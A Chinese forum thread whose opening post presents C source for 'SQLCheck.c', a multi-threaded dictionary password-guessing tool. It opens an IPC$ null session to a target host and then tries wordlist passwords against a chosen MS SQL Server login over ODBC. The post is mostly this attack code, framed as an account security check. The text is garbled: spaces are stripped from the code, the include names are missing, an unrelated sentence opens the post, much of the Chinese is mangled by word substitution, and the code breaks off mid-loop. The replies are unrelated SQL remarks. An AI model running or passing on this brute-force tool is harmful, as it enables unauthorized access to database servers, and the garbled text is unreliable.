仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 656|回复: 8
打印 上一主题 下一主题

[学习教程] MSSQL教程之远程检测MS SQL Server账号平安性

[复制链接]
若相依 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:26:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
Archive非常适合存储大量的独立的,作为历史记录的数据。因为它们不经常被读取。Archive拥有高效的插入速度,但其对查询的支持相对较差server|平安|平安性
ODBC是开放数据互连(OpenDatabaseConnectivity)的简称,它是一个用于远程会见数据库(次要是干系型数据库)的一致界面尺度。  ODBC下实际使用中是一个数据库的会见库,它供应了一组ODBCAPI函数能够供应给编程者利用。关于程序员来讲,ODBCAPI函数集实践上即是一个静态毗连库(DLL)集,能够在使用程序中间接利用它们。

一个使用程序间接挪用ODBCAPI函数来举行数据库的使用事情,事情历程一样平常对照庞大。个中一种举措也许是以下几步:
<1>启动ODBC数据库使用程序。
<2>与服务器创建IPCSESSION。
<3>创立数据库使用的情况句柄。
<4>创立毗连句柄。
<5>毗连数据源。
<6>创立语句句柄。
<7>经由过程上一步创立的语句句柄来实行SQL操纵。
<8>开释语句句柄。
<9>要举行多此SQL操纵的话,就轮回步骤6-8。
<10>断开与数据库的毗连。
<11>开释毗连句柄。
<12>开释情况句柄。
<13>断开IPCSESSION。
<14>程序停止。

上面以一个实例来讲明远程检测MSSQLServer账号暗码的全历程。

/**********************************************************
ModuleName:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c)eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://界说全局变量
chardict[20000][40],//暗码字典
UserName[40],//用户名
target[40],//方针服务器
passwd[40];//已探测出来的准确暗码
inttotal=0;//字典内里单词数目
BOOLCracked=FALSE;//探测暗码乐成时此值为TRUE
HANDLEhSemaphore,//信标内查对象
hEvent;//事务内查对象
longMaxThreads,//最年夜线程数目
ActiveThreads;//举动线程数目
////////////////////////////////////////////////////////////////////////
voidusage(char*pragname)
{
printf("
Powerbyeyas"
"
http://www.patching.net"
"
2000/12/14"
"

Usage:%s"
"
Example:%s192.168.0.1sac:pwd.dic50
",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
intReadDic(char*dic)
{
FILE*fp;
chartmp[40];

file://翻开字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("
Cantopen%s",dic);
return1;
}

while(!feof(fp))
{
file://读取数据光临时变量
if(fgets(tmp,40,fp)==NULL)
break;
file://把从文件内里读出来的最初一名数据[换行标记]往失落
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return0;
}
////////////////////////////////////////////////////////////////////////
intConnIPC(char*RemoteName)
{
NETRESOURCEnr;
DWORDflags=CONNECT_UPDATE_PROFILE;
TCHARRN[30]="\",
LN[5]="";

strcat(RN,RemoteName);
strcat(RN,"ipc$");

nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return0;
}
else
{
return1;
}
}
////////////////////////////////////////////////////////////////////////
intDelIPC(char*RemoteName)
{
DWORDret;
TCHARlpName[30]="\";

strcat(lpName,RemoteName);
strcat(lpName,"ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return0;
}
else
{
return1;
}
}
////////////////////////////////////////////////////////////////////////
DWORDWINAPISQLCheck(PVOIDpPwd)
{
file://界说部分变量
charszBuffer[1025];
char*pwd;
SWORDswStrLen;
SQLHDBChdbc;
SQLHANDLEhenv;
SQLRETURNretcode;//ODBCAPI运转前往值
SCHARConnStr[200];//毗连数据库字符串
longPreviousCount;

file://获得传送过去筹办探测的暗码
pwd=(char*)pPwd;
file://机关毗连数据库字符
sprintf(ConnStr,"DRIVER={SQLServer};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://创立数据库使用的情况句柄
if(SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv)!=SQL_SUCCESS)
{
printf("
Allocateenvironmenthandlefailed.
");
ExitProcess(1);
}
file://设置ODBC版本情况
if(SQLSetEnvAttr(henv,SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3,SQL_IS_INTEGER)!=SQL_SUCCESS)
{
printf("
SettheODBCversionenvironmentattributefailed.
");
SQLFreeHandle(SQL_HANDLE_ENV,henv);
ExitProcess(1);
}
file://创立毗连句柄
if((retcode=SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBCFAR
*)&hdbc))!=SQL_SUCCESS)
{
printf("
Allocateconnectionhandlefailed.
");
SQLFreeHandle(SQL_HANDLE_ENV,henv);
ExitProcess(1);
}
file://毗连数据源
retcode=SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS&&retcode!=SQL_SUCCESS_WITH_INFO)
{
file://毗连失利,函数停止
file://printf("
Couldntconnectto%sMSSQLserver.
",target);
}
else
{
file://毗连远程MSSQLServer数据库乐成
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://断开毗连
SQLDisconnect(hdbc);
}
}//endoftyr
__finally{
file://开释毗连句柄
SQLFreeHandle(SQL_HANDLE_DBC,hdbc);
file://开释情况句柄
SQLFreeHandle(SQL_HANDLE_ENV,henv);
file://对信标以后资本数目举行递增1,并获得以后资本数目的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://盘算以后举动线程数目
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("
ActiveThreads-->%d.",ActiveThreads);
file://假如举动线程数目为0,那末将事务内查对象hEvent改成已关照形态,程序停止
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//endoffinally
return0;
}

////////////////////////////////////////////////////////////////////////
intmain(intargc,char**argv)
{
HANDLEhThread;//线程句柄
DWORDdwThreadId,dwRet;
inti=0,err=0;
clock_tstart,end;//程序运转的肇端和停止工夫
doubleduration;

if(argc!=5)
{
usage(argv[0]);
return1;
}
file://获得方针地点,用户名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://获得并反省用户输出的最年夜线程数目
MaxThreads=atol(argv[4]);
if((MaxThreads>100)||(MaxThreads<1))
{
usage(argv[0]);
return1;
}
file://读取字典中的单词到内存中
if(ReadDic(argv[3])!=0)
return1;
file://与方针呆板创建IPCSession
if(ConnIPC(argv[1])!=0)
{
printf("
CantbuiltIPCNULLSession!");
return1;
}
else
{
printf("
BuiltIPCNULLSessionsuccess!
");
}
file://创立信标内查对象,最年夜资本数目和可使用的资本数目均为MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("
CreateSemaphore()failed.ErrorCode:%d.",GetLastError());
return1;
}
file://创立事务内查对象[野生重置,初始形态为未关照]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("
CreateEvent()failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return1;
}
file://入手下手计时
start=clock();
file://入手下手创建线程探测暗码
for(i=0;i
金色的骷髅 该用户已被删除
沙发
发表于 2015-1-19 12:24:26 | 只看该作者
Mirror可以算是SQLServer的Dataguard了。但是能不能被大伙用起来就不知道了。
山那边是海 该用户已被删除
板凳
发表于 2015-1-25 13:20:30 | 只看该作者
having子句的作用是筛选满足条件的组,即在分组之后过滤数据,条件中经常包含聚组函数,使用having条件显示特定的组,也可以使用多个分组标准进行分组。
愤怒的大鸟 该用户已被删除
地板
发表于 2015-2-2 22:14:55 | 只看该作者
还不是性能有问题!否则面向对象的数据库早就实现了!建议使用CLR的地方一般是和应用的复杂程度或操作系统环境有很高的耦合度的场景。如你想构建复杂的算法,并且用到了大量的指针和高级数据模型。
不帅 该用户已被删除
5#
发表于 2015-2-8 12:33:28 | 只看该作者
一个是把SQL语句写到客户端,可以使用DataSet进行加工;
柔情似水 该用户已被删除
6#
发表于 2015-2-25 14:28:33 | 只看该作者
原理很简单,对要求长时间计算某一时间点的报表生成和防用户操作错误很有帮助。但是比起Oracle10g的闪回技术还是细粒度不够。可惜!
只想知道 该用户已被删除
7#
发表于 2015-3-7 22:28:42 | 只看该作者
原来公司用过MYSQL自己也只是建个表写个SQL
谁可相欹 该用户已被删除
8#
发表于 2015-3-15 14:58:35 | 只看该作者
无法深入到数据库系统层面去了解和探究
乐观 该用户已被删除
9#
发表于 2015-3-22 02:10:35 | 只看该作者
我是一个ERP初学者,对于前台运用基本熟悉,但对于后台SQLServer的运用一点也不懂,特想学习下相关资料。至少懂得一些基本的运用。希望各位能给于建议,小弟再谢过!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-23 03:12

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表